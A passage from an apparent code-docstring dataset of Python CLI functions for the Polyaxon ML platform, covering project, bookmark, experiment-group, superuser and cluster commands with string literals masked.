objects:<EOL><INDENT>Printer.print_header(\"<STR_LIT>\")<EOL>objects.pop('<STR_LIT>', None)<EOL>dict_tabulate(objects, is_list_dict=True)<EOL><DEDENT>", "docstring": "List tensorboard jobs for this project.\n\n    Uses [Caching](/references/polyaxon-cli/#caching)", "id": "f1061:m11"}
{"signature": "@project.command()<EOL>@click.option('<STR_LIT>', is_flag=True, help='<STR_LIT>')<EOL>@click.option('<STR_LIT>', is_flag=True, help='<STR_LIT>')<EOL>@click.pass_context<EOL>@clean_outputs<EOL>def ci(ctx, enable, disable):  ", "body": "user, project_name = get_project_or_local(ctx.obj.get('<STR_LIT>'))<EOL>def enable_ci():<EOL><INDENT>try:<EOL><INDENT>PolyaxonClient().project.enable_ci(user, project_name)<EOL><DEDENT>except (PolyaxonHTTPError, PolyaxonShouldExitError, PolyaxonClientException) as e:<EOL><INDENT>Printer.print_error('<STR_LIT>'.format(project_name))<EOL>Printer.print_error('<STR_LIT>'.format(e))<EOL>sys.exit(<NUM_LIT:1>)<EOL><DEDENT>Printer.print_success(<EOL>'<STR_LIT>'.format(project_name))<EOL><DEDENT>def disable_ci():<EOL><INDENT>try:<EOL><INDENT>PolyaxonClient().project.disable_ci(user, project_name)<EOL><DEDENT>except (PolyaxonHTTPError, PolyaxonShouldExitError, PolyaxonClientException) as e:<EOL><INDENT>Printer.print_error('<STR_LIT>'.format(project_name))<EOL>Printer.print_error('<STR_LIT>'.format(e))<EOL>sys.exit(<NUM_LIT:1>)<EOL><DEDENT>Printer.print_success(<EOL>'<STR_LIT>'.format(project_name))<EOL><DEDENT>if enable:<EOL><INDENT>enable_ci()<EOL><DEDENT>if disable:<EOL><INDENT>disable_ci()<EOL><DEDENT>", "docstring": "Enable/Disable CI on this project.\n\n    Uses [Caching](/references/polyaxon-cli/#caching)\n\n    Example:\n\n    \\b\n    ```bash\n    $ polyaxon project ci --enable\n    ```\n\n    \\b\n    ```bash\n    $ polyaxon project ci --disable\n    ```", "id": "f1061:m13"}
{"signature": "@project.command()<EOL>@click.pass_context<EOL>@clean_outputs<EOL>def download(ctx):", "body": "user, project_name = get_project_or_local(ctx.obj.get('<STR_LIT>'))<EOL>try:<EOL><INDENT>PolyaxonClient().project.download_repo(user, project_name)<EOL><DEDENT>except (PolyaxonHTTPError, PolyaxonShouldExitError, PolyaxonClientException) as e:<EOL><INDENT>Printer.print_error('<STR_LIT>'.format(project_name))<EOL>Printer.print_error('<STR_LIT>'.format(e))<EOL>sys.exit(<NUM_LIT:1>)<EOL><DEDENT>Printer.print_success('<STR_LIT>')<EOL>", "docstring": "Download code of the current project.", "id": "f1061:m14"}
{"signature": "@project.command()<EOL>@click.pass_context<EOL>@clean_outputs<EOL>def bookmark(ctx):", "body": "user, project_name = get_project_or_local(ctx.obj.get('<STR_LIT>'))<EOL>try:<EOL><INDENT>PolyaxonClient().project.bookmark(user, project_name)<EOL><DEDENT>except (PolyaxonHTTPError, PolyaxonShouldExitError, PolyaxonClientException) as e:<EOL><INDENT>Printer.print_error('<STR_LIT>'.format(user, project_name))<EOL>Printer.print_error('<STR_LIT>'.format(e))<EOL>sys.exit(<NUM_LIT:1>)<EOL><DEDENT>Printer.print_success(\"<STR_LIT>\".format(user, project_name))<EOL>", "docstring": "Bookmark project.\n\n    Uses [Caching](/references/polyaxon-cli/#caching)", "id": "f1061:m15"}
{"signature": "@project.command()<EOL>@click.pass_context<EOL>@clean_outputs<EOL>def unbookmark(ctx):", "body": "user, project_name = get_project_or_local(ctx.obj.get('<STR_LIT>'))<EOL>try:<EOL><INDENT>PolyaxonClient().project.unbookmark(user, project_name)<EOL><DEDENT>except (PolyaxonHTTPError, PolyaxonShouldExitError, PolyaxonClientException) as e:<EOL><INDENT>Printer.print_error('<STR_LIT>'.format(user, project_name))<EOL>Printer.print_error('<STR_LIT>'.format(e))<EOL>sys.exit(<NUM_LIT:1>)<EOL><DEDENT>Printer.print_success(\"<STR_LIT>\".format(user, project_name))<EOL>", "docstring": "Unbookmark project.\n\n    Uses [Caching](/references/polyaxon-cli/#caching)", "id": "f1061:m16"}
{"signature": "@click.group()<EOL>@click.option('<STR_LIT>', '<STR_LIT>', type=str)<EOL>@click.pass_context<EOL>@clean_outputs<EOL>def bookmark(ctx, username):  ", "body": "ctx.obj = ctx.obj or {}<EOL>ctx.obj['<STR_LIT:username>'] = username<EOL>", "docstring": "Commands for bookmarks.", "id": "f1062:m0"}
{"signature": "@bookmark.command()<EOL>@click.option('<STR_LIT>', type=int, help='<STR_LIT>')<EOL>@click.pass_context<EOL>@clean_outputs<EOL>def projects(ctx, page):", "body": "user = get_username_or_local(ctx.obj.get('<STR_LIT:username>'))<EOL>page = page or <NUM_LIT:1><EOL>try:<EOL><INDENT>response = PolyaxonClient().bookmark.projects(username=user, page=page)<EOL><DEDENT>except (PolyaxonHTTPError, PolyaxonShouldExitError, PolyaxonClientException) as e:<EOL><INDENT>Printer.print_error(<EOL>'<STR_LIT>'.format(user))<EOL>Printer.print_error('<STR_LIT>'.format(e))<EOL>sys.exit(<NUM_LIT:1>)<EOL><DEDENT>meta = get_meta_response(response)<EOL>if meta:<EOL><INDENT>Printer.print_header('<STR_LIT>'.format(user))<EOL>Printer.print_header('<STR_LIT>')<EOL>dict_tabulate(meta)<EOL><DEDENT>else:<EOL><INDENT>Printer.print_header('<STR_LIT>'.format(user))<EOL><DEDENT>objects = [Printer.add_status_color(o.to_light_dict(humanize_values=True))<EOL>for o in response['<STR_LIT>']]<EOL>objects = list_dicts_to_tabulate(objects)<EOL>if objects:<EOL><INDENT>Printer.print_header(\"<STR_LIT>\")<EOL>dict_tabulate(objects, is_list_dict=True)<EOL><DEDENT>", "docstring": "List bookmarked projects for user.\n\n    Uses [Caching](/references/polyaxon-cli/#caching)\n\n    Examples:\n\n    \\b\n    ```bash\n    $ polyaxon bookmark projects\n    ```\n\n    \\b\n    ```bash\n    $ polyaxon bookmark -u adam projects\n    ```", "id": "f1062:m1"}
{"signature": "@bookmark.command()<EOL>@click.option('<STR_LIT>', type=int, help='<STR_LIT>')<EOL>@click.pass_context<EOL>@clean_outputs<EOL>def groups(ctx, page):", "body": "user = get_username_or_local(ctx.obj.get('<STR_LIT:username>'))<EOL>page = page or <NUM_LIT:1><EOL>try:<EOL><INDENT>response = PolyaxonClient().bookmark.groups(username=user, page=page)<EOL><DEDENT>except (PolyaxonHTTPError, PolyaxonShouldExitError, PolyaxonClientException) as e:<EOL><INDENT>Printer.print_error(<EOL>'<STR_LIT>'.format(user))<EOL>Printer.print_error('<STR_LIT>'.format(e))<EOL>sys.exit(<NUM_LIT:1>)<EOL><DEDENT>meta = get_meta_response(response)<EOL>if meta:<EOL><INDENT>Printer.print_header('<STR_LIT>'.format(user))<EOL>Printer.print_header('<STR_LIT>')<EOL>dict_tabulate(meta)<EOL><DEDENT>else:<EOL><INDENT>Printer.print_header('<STR_LIT>'.format(user))<EOL><DEDENT>objects = [Printer.add_status_color(o.to_light_dict(humanize_values=True))<EOL>for o in response['<STR_LIT>']]<EOL>objects = list_dicts_to_tabulate(objects)<EOL>if objects:<EOL><INDENT>Printer.print_header(\"<STR_LIT>\")<EOL>dict_tabulate(objects, is_list_dict=True)<EOL><DEDENT>", "docstring": "List bookmarked experiment groups for user.\n\n    Uses [Caching](/references/polyaxon-cli/#caching)\n\n    Examples:\n\n    \\b\n    ```bash\n    $ polyaxon bookmark groups\n    ```\n\n    \\b\n    ```bash\n    $ polyaxon bookmark -u adam groups\n    ```", "id": "f1062:m2"}
{"signature": "@bookmark.command()<EOL>@click.option('<STR_LIT>', type=int, help='<STR_LIT>')<EOL>@click.pass_context<EOL>@clean_outputs<EOL>def experiments(ctx, page):", "body": "user = get_username_or_local(ctx.obj.get('<STR_LIT:username>'))<EOL>page = page or <NUM_LIT:1><EOL>try:<EOL><INDENT>response = PolyaxonClient().bookmark.experiments(username=user, page=page)<EOL><DEDENT>except (PolyaxonHTTPError, PolyaxonShouldExitError, PolyaxonClientException) as e:<EOL><INDENT>Printer.print_error(<EOL>'<STR_LIT>'.format(user))<EOL>Printer.print_error('<STR_LIT>'.format(e))<EOL>sys.exit(<NUM_LIT:1>)<EOL><DEDENT>meta = get_meta_response(response)<EOL>if meta:<EOL><INDENT>Printer.print_header('<STR_LIT>'.format(user))<EOL>Printer.print_header('<STR_LIT>')<EOL>dict_tabulate(meta)<EOL><DEDENT>else:<EOL><INDENT>Printer.print_header('<STR_LIT>'.format(user))<EOL><DEDENT>objects = [Printer.add_status_color(o.to_light_dict(humanize_values=True))<EOL>for o in response['<STR_LIT>']]<EOL>objects = list_dicts_to_tabulate(objects)<EOL>if objects:<EOL><INDENT>Printer.print_header(\"<STR_LIT>\")<EOL>dict_tabulate(objects, is_list_dict=True)<EOL><DEDENT>", "docstring": "List bookmarked experiments for user.\n\n    Uses [Caching](/references/polyaxon-cli/#caching)\n\n    Examples:\n\n    \\b\n    ```bash\n    $ polyaxon bookmark experiments\n    ```\n\n    \\b\n    ```bash\n    $ polyaxon bookmark -u adam experiments\n    ```", "id": "f1062:m3"}
{"signature": "@bookmark.command()<EOL>@click.option('<STR_LIT>', type=int, help='<STR_LIT>')<EOL>@click.pass_context<EOL>@clean_outputs<EOL>def jobs(ctx, page):", "body": "user = get_username_or_local(ctx.obj.get('<STR_LIT:username>'))<EOL>page = page or <NUM_LIT:1><EOL>try:<EOL><INDENT>response = PolyaxonClient().bookmark.jobs(username=user, page=page)<EOL><DEDENT>except (PolyaxonHTTPError, PolyaxonShouldExitError, PolyaxonClientException) as e:<EOL><INDENT>Printer.print_error(<EOL>'<STR_LIT>'.format(user))<EOL>Printer.print_error('<STR_LIT>'.format(e))<EOL>sys.exit(<NUM_LIT:1>)<EOL><DEDENT>meta = get_meta_response(response)<EOL>if meta:<EOL><INDENT>Printer.print_header('<STR_LIT>'.format(user))<EOL>Printer.print_header('<STR_LIT>')<EOL>dict_tabulate(meta)<EOL><DEDENT>else:<EOL><INDENT>Printer.print_header('<STR_LIT>'.format(user))<EOL><DEDENT>objects = [Printer.add_status_color(o.to_light_dict(humanize_values=True))<EOL>for o in response['<STR_LIT>']]<EOL>objects = list_dicts_to_tabulate(objects)<EOL>if objects:<EOL><INDENT>Printer.print_header(\"<STR_LIT>\")<EOL>dict_tabulate(objects, is_list_dict=True)<EOL><DEDENT>", "docstring": "List bookmarked jobs for user.\n\n    Uses [Caching](/references/polyaxon-cli/#caching)\n\n    Examples:\n\n    \\b\n    ```bash\n    $ polyaxon bookmark jobs\n    ```\n\n    \\b\n    ```bash\n    $ polyaxon bookmark -u adam jobs\n    ```", "id": "f1062:m4"}
{"signature": "@bookmark.command()<EOL>@click.option('<STR_LIT>', type=int, help='<STR_LIT>')<EOL>@click.pass_context<EOL>@clean_outputs<EOL>def builds(ctx, page):", "body": "user = get_username_or_local(ctx.obj.get('<STR_LIT:username>'))<EOL>page = page or <NUM_LIT:1><EOL>try:<EOL><INDENT>response = PolyaxonClient().bookmark.builds(username=user, page=page)<EOL><DEDENT>except (PolyaxonHTTPError, PolyaxonShouldExitError, PolyaxonClientException) as e:<EOL><INDENT>Printer.print_error(<EOL>'<STR_LIT>'.format(user))<EOL>Printer.print_error('<STR_LIT>'.format(e))<EOL>sys.exit(<NUM_LIT:1>)<EOL><DEDENT>meta = get_meta_response(response)<EOL>if meta:<EOL><INDENT>Printer.print_header('<STR_LIT>'.format(user))<EOL>Printer.print_header('<STR_LIT>')<EOL>dict_tabulate(meta)<EOL><DEDENT>else:<EOL><INDENT>Printer.print_header('<STR_LIT>'.format(user))<EOL><DEDENT>objects = [Printer.add_status_color(o.to_light_dict(humanize_values=True))<EOL>for o in response['<STR_LIT>']]<EOL>objects = list_dicts_to_tabulate(objects)<EOL>if objects:<EOL><INDENT>Printer.print_header(\"<STR_LIT>\")<EOL>dict_tabulate(objects, is_list_dict=True)<EOL><DEDENT>", "docstring": "List bookmarked builds for user.\n\n    Uses [Caching](/references/polyaxon-cli/#caching)\n\n    Examples:\n\n    \\b\n    ```bash\n    $ polyaxon bookmark builds\n    ```\n\n    \\b\n    ```bash\n    $ polyaxon bookmark -u adam builds\n    ```", "id": "f1062:m5"}
{"signature": "@click.command()<EOL>@click.option('<STR_LIT>', '<STR_LIT>', is_flag=True, default=False,<EOL>help='<STR_LIT>'<EOL>'<STR_LIT>')<EOL>@click.option('<STR_LIT>', is_flag=True, default=False,<EOL>help='<STR_LIT>')<EOL>@clean_outputs<EOL>def dashboard(yes, url):", "body": "dashboard_url = \"<STR_LIT>\".format(PolyaxonClient().api_config.http_host)<EOL>if url:<EOL><INDENT>click.echo(dashboard_url)<EOL>sys.exit(<NUM_LIT:0>)<EOL><DEDENT>if not yes:<EOL><INDENT>click.confirm('<STR_LIT>',<EOL>abort=True, default=True)<EOL><DEDENT>click.launch(dashboard_url)<EOL>", "docstring": "Open dashboard in browser.", "id": "f1063:m0"}
{"signature": "@click.group()<EOL>@click.option('<STR_LIT>', '<STR_LIT>', type=str, help=\"<STR_LIT>\")<EOL>@click.option('<STR_LIT>', '<STR_LIT>', type=int, help=\"<STR_LIT>\")<EOL>@click.pass_context<EOL>@clean_outputs<EOL>def group(ctx, project, group):  ", "body": "ctx.obj = ctx.obj or {}<EOL>ctx.obj['<STR_LIT>'] = project<EOL>ctx.obj['<STR_LIT>'] = group<EOL>", "docstring": "Commands for experiment groups.", "id": "f1064:m1"}
{"signature": "@group.command()<EOL>@click.pass_context<EOL>@clean_outputs<EOL>def get(ctx):", "body": "user, project_name, _group = get_project_group_or_local(ctx.obj.get('<STR_LIT>'),<EOL>ctx.obj.get('<STR_LIT>'))<EOL>try:<EOL><INDENT>response = PolyaxonClient().experiment_group.get_experiment_group(<EOL>user, project_name, _group)<EOL>cache.cache(config_manager=GroupManager, response=response)<EOL><DEDENT>except (PolyaxonHTTPError, PolyaxonShouldExitError, PolyaxonClientException) as e:<EOL><INDENT>Printer.print_error('<STR_LIT>'.format(_group))<EOL>Printer.print_error('<STR_LIT>'.format(e))<EOL>sys.exit(<NUM_LIT:1>)<EOL><DEDENT>get_group_details(response)<EOL>", "docstring": "Get experiment group by uuid.\n\n    Uses [Caching](/references/polyaxon-cli/#caching)\n\n    Examples:\n\n    \\b\n    ```bash\n    $ polyaxon group -g 13 get\n    ```", "id": "f1064:m2"}
{"signature": "@group.command()<EOL>@click.pass_context<EOL>@clean_outputs<EOL>def delete(ctx):", "body": "user, project_name, _group = get_project_group_or_local(ctx.obj.get('<STR_LIT>'),<EOL>ctx.obj.get('<STR_LIT>'))<EOL>if not click.confirm(\"<STR_LIT>\".format(_group)):<EOL><INDENT>click.echo('<STR_LIT>')<EOL>sys.exit(<NUM_LIT:0>)<EOL><DEDENT>try:<EOL><INDENT>response = PolyaxonClient().experiment_group.delete_experiment_group(<EOL>user, project_name, _group)<EOL>GroupManager.purge()<EOL><DEDENT>except (PolyaxonHTTPError, PolyaxonShouldExitError, PolyaxonClientException) as e:<EOL><INDENT>Printer.print_error('<STR_LIT>'.format(_group))<EOL>Printer.print_error('<STR_LIT>'.format(e))<EOL>sys.exit(<NUM_LIT:1>)<EOL><DEDENT>if response.status_code == <NUM_LIT>:<EOL><INDENT>Printer.print_success(\"<STR_LIT>\".format(_group))<EOL><DEDENT>", "docstring": "Delete experiment group.\n\n    Uses [Caching](/references/polyaxon-cli/#caching)", "id": "f1064:m3"}
{"signature": "@group.command()<EOL>@click.option('<STR_LIT>', type=str,<EOL>help='<STR_LIT>')<EOL>@click.option('<STR_LIT>', type=str, help='<STR_LIT>')<EOL>@click.option('<STR_LIT>', type=str, help='<STR_LIT>')<EOL>@click.pass_context<EOL>@clean_outputs<EOL>def update(ctx, name, description, tags):", "body": "user, project_name, _group = get_project_group_or_local(ctx.obj.get('<STR_LIT>'),<EOL>ctx.obj.get('<STR_LIT>'))<EOL>update_dict = {}<EOL>if name:<EOL><INDENT>update_dict['<STR_LIT:name>'] = name<EOL><DEDENT>if description:<EOL><INDENT>update_dict['<STR_LIT:description>'] = description<EOL><DEDENT>tags = validate_tags(tags)<EOL>if tags:<EOL><INDENT>update_dict['<STR_LIT>'] = tags<EOL><DEDENT>if not update_dict:<EOL><INDENT>Printer.print_warning('<STR_LIT>')<EOL>sys.exit(<NUM_LIT:0>)<EOL><DEDENT>try:<EOL><INDENT>response = PolyaxonClient().experiment_group.update_experiment_group(<EOL>user, project_name, _group, update_dict)<EOL><DEDENT>except (PolyaxonHTTPError, PolyaxonShouldExitError, PolyaxonClientException) as e:<EOL><INDENT>Printer.print_error('<STR_LIT>'.format(_group))<EOL>Printer.print_error('<STR_LIT>'.format(e))<EOL>sys.exit(<NUM_LIT:1>)<EOL><DEDENT>Printer.print_success(\"<STR_LIT>\")<EOL>get_group_details(response)<EOL>", "docstring": "Update experiment group.\n\n    Uses [Caching](/references/polyaxon-cli/#caching)\n\n    Example:\n\n    \\b\n    ```bash\n    $ polyaxon group -g 2 update --description=\"new description for this group\"\n    ```\n\n    \\b\n    ```bash\n    $ polyaxon update --tags=\"foo, bar\"\n    ```", "id": "f1064:m4"}
{"signature": "@group.command()<EOL>@click.option('<STR_LIT>', '<STR_LIT>', is_flag=True, help='<STR_LIT>')<EOL>@click.option('<STR_LIT>', '<STR_LIT>', is_flag=True,<EOL>help='<STR_LIT>')<EOL>@click.option('<STR_LIT>', '<STR_LIT>', type=str,<EOL>help='<STR_LIT>')<EOL>@click.option('<STR_LIT>', '<STR_LIT>', type=str, help='<STR_LIT>')<EOL>@click.option('<STR_LIT>', type=int, help='<STR_LIT>')<EOL>@click.pass_context<EOL>@clean_outputs<EOL>def experiments(ctx, metrics, declarations, query, sort, page):", "body": "user, project_name, _group = get_project_group_or_local(ctx.obj.get('<STR_LIT>'),<EOL>ctx.obj.get('<STR_LIT>'))<EOL>page = page or <NUM_LIT:1><EOL>try:<EOL><INDENT>response = PolyaxonClient().experiment_group.list_experiments(username=user,<EOL>project_name=project_name,<EOL>group_id=_group,<EOL>metrics=metrics,<EOL>declarations=declarations,<EOL>query=query,<EOL>sort=sort,<EOL>page=page)<EOL><DEDENT>except (PolyaxonHTTPError, PolyaxonShouldExitError, PolyaxonClientException) as e:<EOL><INDENT>Printer.print_error('<STR_LIT>'.format(_group))<EOL>Printer.print_error('<STR_LIT>'.format(e))<EOL>sys.exit(<NUM_LIT:1>)<EOL><DEDENT>meta = get_meta_response(response)<EOL>if meta:<EOL><INDENT>Printer.print_header('<STR_LIT>'.format(_group))<EOL>Printer.print_header('<STR_LIT>')<EOL>dict_tabulate(meta)<EOL><DEDENT>else:<EOL><INDENT>Printer.print_header('<STR_LIT>'.format(_group))<EOL><DEDENT>if metrics:<EOL><INDENT>objects = get_experiments_with_metrics(response)<EOL><DEDENT>elif declarations:<EOL><INDENT>objects = get_experiments_with_declarations(response)<EOL><DEDENT>else:<EOL><INDENT>objects = [Printer.add_status_color(o.to_light_dict(humanize_values=True))<EOL>for o in response['<STR_LIT>']]<EOL><DEDENT>objects = list_dicts_to_tabulate(objects)<EOL>if objects:<EOL><INDENT>Printer.print_header(\"<STR_LIT>\")<EOL>objects.pop('<STR_LIT>', None)<EOL>objects.pop('<STR_LIT>', None)<EOL>objects.pop('<STR_LIT>', None)<EOL>dict_tabulate(objects, is_list_dict=True)<EOL><DEDENT>", "docstring": "List experiments for this experiment group\n\n    Uses [Caching](/references/polyaxon-cli/#caching)", "id": "f1064:m5"}
{"signature": "@group.command()<EOL>@click.option('<STR_LIT>', '<STR_LIT>', is_flag=True, default=False,<EOL>help='<STR_LIT>'<EOL>'<STR_LIT>')<EOL>@click.option('<STR_LIT>', is_flag=True, default=False,<EOL>help='<STR_LIT>')<EOL>@click.pass_context<EOL>@clean_outputs<EOL>def stop(ctx, yes, pending):", "body": "user, project_name, _group = get_project_group_or_local(ctx.obj.get('<STR_LIT>'),<EOL>ctx.obj.get('<STR_LIT>'))<EOL>if not yes and not click.confirm(\"<STR_LIT>\"<EOL>\"<STR_LIT>\".format(_group)):<EOL><INDENT>click.echo('<STR_LIT>')<EOL>sys.exit(<NUM_LIT:0>)<EOL><DEDENT>try:<EOL><INDENT>PolyaxonClient().experiment_group.stop(user, project_name, _group, pending=pending)<EOL><DEDENT>except (PolyaxonHTTPError, PolyaxonShouldExitError, PolyaxonClientException) as e:<EOL><INDENT>Printer.print_error('<STR_LIT>'.format(_group))<EOL>Printer.print_error('<STR_LIT>'.format(e))<EOL>sys.exit(<NUM_LIT:1>)<EOL><DEDENT>Printer.print_success(\"<STR_LIT>\")<EOL>", "docstring": "Stop experiments in the group.\n\n    Uses [Caching](/references/polyaxon-cli/#caching)\n\n    Examples: stop only pending experiments\n\n    \\b\n    ```bash\n    $ polyaxon group stop --pending\n    ```\n\n    Examples: stop all unfinished\n\n    \\b\n    ```bash\n    $ polyaxon group stop\n    ```\n\n    \\b\n    ```bash\n    $ polyaxon group -g 2 stop\n    ```", "id": "f1064:m6"}
{"signature": "@group.command()<EOL>@click.option('<STR_LIT>', type=int, help=\"<STR_LIT>\")<EOL>@click.pass_context<EOL>@clean_outputs<EOL>def statuses(ctx, page):", "body": "user, project_name, _group = get_project_group_or_local(ctx.obj.get('<STR_LIT>'),<EOL>ctx.obj.get('<STR_LIT>'))<EOL>page = page or <NUM_LIT:1><EOL>try:<EOL><INDENT>response = PolyaxonClient().experiment_group.get_statuses(user,<EOL>project_name,<EOL>_group,<EOL>page=page)<EOL><DEDENT>except (PolyaxonHTTPError, PolyaxonShouldExitError, PolyaxonClientException) as e:<EOL><INDENT>Printer.print_error('<STR_LIT>'.format(_group))<EOL>Printer.print_error('<STR_LIT>'.format(e))<EOL>sys.exit(<NUM_LIT:1>)<EOL><DEDENT>meta = get_meta_response(response)<EOL>if meta:<EOL><INDENT>Printer.print_header('<STR_LIT>'.format(_group))<EOL>Printer.print_header('<STR_LIT>')<EOL>dict_tabulate(meta)<EOL><DEDENT>else:<EOL><INDENT>Printer.print_header('<STR_LIT>'.format(_group))<EOL><DEDENT>objects = list_dicts_to_tabulate(<EOL>[Printer.add_status_color(o.to_light_dict(humanize_values=True), status_key='<STR_LIT:status>')<EOL>for o in response['<STR_LIT>']])<EOL>if objects:<EOL><INDENT>Printer.print_header(\"<STR_LIT>\")<EOL>objects.pop('<STR_LIT>', None)<EOL>dict_tabulate(objects, is_list_dict=True)<EOL><DEDENT>", "docstring": "Get experiment group statuses.\n\n    Uses [Caching](/references/polyaxon-cli/#caching)\n\n    Examples:\n\n    \\b\n    ```bash\n    $ polyaxon group -g 2 statuses\n    ```", "id": "f1064:m7"}
{"signature": "@group.command()<EOL>@click.pass_context<EOL>@clean_outputs<EOL>def bookmark(ctx):", "body": "user, project_name, _group = get_project_group_or_local(ctx.obj.get('<STR_LIT>'),<EOL>ctx.obj.get('<STR_LIT>'))<EOL>try:<EOL><INDENT>PolyaxonClient().experiment_group.bookmark(user, project_name, _group)<EOL><DEDENT>except (PolyaxonHTTPError, PolyaxonShouldExitError, PolyaxonClientException) as e:<EOL><INDENT>Printer.print_error('<STR_LIT>'.format(_group))<EOL>Printer.print_error('<STR_LIT>'.format(e))<EOL>sys.exit(<NUM_LIT:1>)<EOL><DEDENT>Printer.print_success(\"<STR_LIT>\")<EOL>", "docstring": "Bookmark group.\n\n    Uses [Caching](/references/polyaxon-cli/#caching)\n\n    Examples:\n\n    \\b\n    ```bash\n    $ polyaxon group bookmark\n    ```\n\n    \\b\n    ```bash\n    $ polyaxon group -g 2 bookmark\n    ```", "id": "f1064:m8"}
{"signature": "@group.command()<EOL>@click.pass_context<EOL>@clean_outputs<EOL>def unbookmark(ctx):", "body": "user, project_name, _group = get_project_group_or_local(ctx.obj.get('<STR_LIT>'),<EOL>ctx.obj.get('<STR_LIT>'))<EOL>try:<EOL><INDENT>PolyaxonClient().experiment_group.unbookmark(user, project_name, _group)<EOL><DEDENT>except (PolyaxonHTTPError, PolyaxonShouldExitError, PolyaxonClientException) as e:<EOL><INDENT>Printer.print_error('<STR_LIT>'.format(_group))<EOL>Printer.print_error('<STR_LIT>'.format(e))<EOL>sys.exit(<NUM_LIT:1>)<EOL><DEDENT>Printer.print_success(\"<STR_LIT>\")<EOL>", "docstring": "Unbookmark group.\n\n    Uses [Caching](/references/polyaxon-cli/#caching)\n\n    Examples:\n\n    \\b\n    ```bash\n    $ polyaxon group unbookmark\n    ```\n\n    \\b\n    ```bash\n    $ polyaxon group -g 2 unbookmark\n    ```", "id": "f1064:m9"}
{"signature": "@click.group()<EOL>@clean_outputs<EOL>def superuser():", "body": "", "docstring": "Commands for superuser role management.", "id": "f1065:m0"}
{"signature": "@superuser.command()<EOL>@click.argument('<STR_LIT:username>', type=str)<EOL>@clean_outputs<EOL>def grant(username):", "body": "try:<EOL><INDENT>PolyaxonClient().user.grant_superuser(username)<EOL><DEDENT>except (PolyaxonHTTPError, PolyaxonShouldExitError, PolyaxonClientException) as e:<EOL><INDENT>Printer.print_error('<STR_LIT>'.format(username))<EOL>Printer.print_error('<STR_LIT>'.format(e))<EOL>sys.exit(<NUM_LIT:1>)<EOL><DEDENT>Printer.print_success(<EOL>\"<STR_LIT>\".format(username))<EOL>", "docstring": "Grant superuser role to a user.\n\n    Example:\n\n    \\b\n    ```bash\n    $ polyaxon superuser grant david\n    ```", "id": "f1065:m1"}
{"signature": "@superuser.command()<EOL>@click.argument('<STR_LIT:username>', type=str)<EOL>@clean_outputs<EOL>def revoke(username):", "body": "try:<EOL><INDENT>PolyaxonClient().user.revoke_superuser(username)<EOL><DEDENT>except (PolyaxonHTTPError, PolyaxonShouldExitError, PolyaxonClientException) as e:<EOL><INDENT>Printer.print_error('<STR_LIT>'.format(username))<EOL>Printer.print_error('<STR_LIT>'.format(e))<EOL>sys.exit(<NUM_LIT:1>)<EOL><DEDENT>Printer.print_success(<EOL>\"<STR_LIT>\".format(username))<EOL>", "docstring": "Revoke superuser role to a user.\n\n    Example:\n\n    \\b\n    ```bash\n    $ polyaxon superuser revoke david\n    ```", "id": "f1065:m2"}
{"signature": "@click.command()<EOL>@click.option('<STR_LIT>', '<STR_LIT>', type=int, help='<STR_LIT>')<EOL>@clean_outputs<EOL>def cluster(node):", "body": "cluster_client = PolyaxonClient().cluster<EOL>if node:<EOL><INDENT>try:<EOL><INDENT>node_config = cluster_client.get_node(node)<EOL><DEDENT>except (PolyaxonHTTPError, PolyaxonShouldExitError, PolyaxonClientException) as e:<EOL><INDENT>Printer.print_error('<STR_LIT>'.format(node))<EOL>Printer.print_error('<STR_LIT>'.format(e))<EOL>sys.exit(<NUM_LIT:1>)<EOL><DEDENT>get_node_info(node_config)<EOL><DEDENT>else:<EOL><INDENT>try:<EOL><INDENT>cluster_config = cluster_client.get_cluster()<EOL><DEDENT>except (PolyaxonHTTPError, PolyaxonShouldExitError, PolyaxonClientException) as e:<EOL><INDENT>Printer.print_error('<STR_LIT>')<EOL>Printer.print_error('<STR_LIT>'.format(e))<EOL>sys.exit(<NUM_LIT:1>)<EOL><DEDENT>get_cluster_info(cluster_config)<EOL><DEDENT>", "docstring": "Get cluster and nodes info.", "id": "f1066:m2"}
{"signature": "def clean_outputs(fn):", "body": "@wraps(fn)<EOL>def clean_outputs_wrapper(*args, **kwargs):<EOL><INDENT>try:<EOL><INDENT>return fn(*args, **kwargs)<EOL><DEDENT>except SystemExit as e:<EOL><INDENT>sys.stdout = StringIO()<EOL>sys.exit(e.code)  <EOL><DEDENT>except Exception as e:<EOL><INDENT>sys.stdout = StringIO()<EOL>raise e<EOL><DEDENT><DEDENT>return clean_outputs_wrapper<EOL>", "docstring": "Decorator for CLI with Sentry client handling.\n\n    see https://github.com/getsentry/raven-python/issues/904 for more details.", "id": "f1068:m1"}
{"signature": "@export<EOL>def fuzzyfinder(input, collection, accessor=lambda x: x, sort_results=True):", "body": "suggestions = []<EOL>input = str(input) if not isinstance(input, str) else input<EOL>pat = '<STR_LIT>'.join(map(re.escape, input))<EOL>pat = '<STR_LIT>'.format(pat)   <EOL>regex = re.compile(pat, re.IGNORECASE)<EOL>for item in collection:<EOL><INDENT>r = list(regex.finditer(accessor(item)))<EOL>if r:<EOL><INDENT>best = min(r, key=lambda x: len(x.group(<NUM_LIT:1>)))   <EOL>suggestions.append((len(best.group(<NUM_LIT:1>)), best.start(), accessor(item), item))<EOL><DEDENT><DEDENT>if sort_results:<EOL><INDENT>return (z[-<NUM_LIT:1>] for z in sorted(suggestions))<EOL><DEDENT>else:<EOL><INDENT>return (z[-<NUM_LIT:1>] for z in sorted(suggestions, key=lambda x: x[:<NUM_LIT:2>]))<EOL><DEDENT>", "docstring": "Args:\n    input (str): A partial string which is typically entered by a user.\n    collection (iterable): A collection of strings which will be filtered\n                           based on the `input`.\n    accessor (function): If the `collection` is not an iterable of strings,\n                         then use the accessor to fetch the string that\n                         will be used for fuzzy matching.\n    sort_results(bool): The suggestions are sorted by considering the\n                        smallest contiguous match, followed by where the\n                        match is found in the full string. If two suggestions\n                        have the same rank, they are then sorted\n                        alpha-numerically. This parameter controls the\n                        *last tie-breaker-alpha-numeric sorting*. The sorting\n                        based on match length and position will be intact.\n\nReturns:\n    suggestions (generator): A generator object that produces a list of\n        suggestions narrowed down from `collection` using the `input`.", "id": "f1071:m0"}
{"signature": "def export(defn):", "body": "globals()[defn.__name__] = defn<EOL>__all__.append(defn.__name__)<EOL>return defn<EOL>", "docstring": "Decorator to explicitly mark functions that are exposed in a lib.", "id": "f1072:m0"}
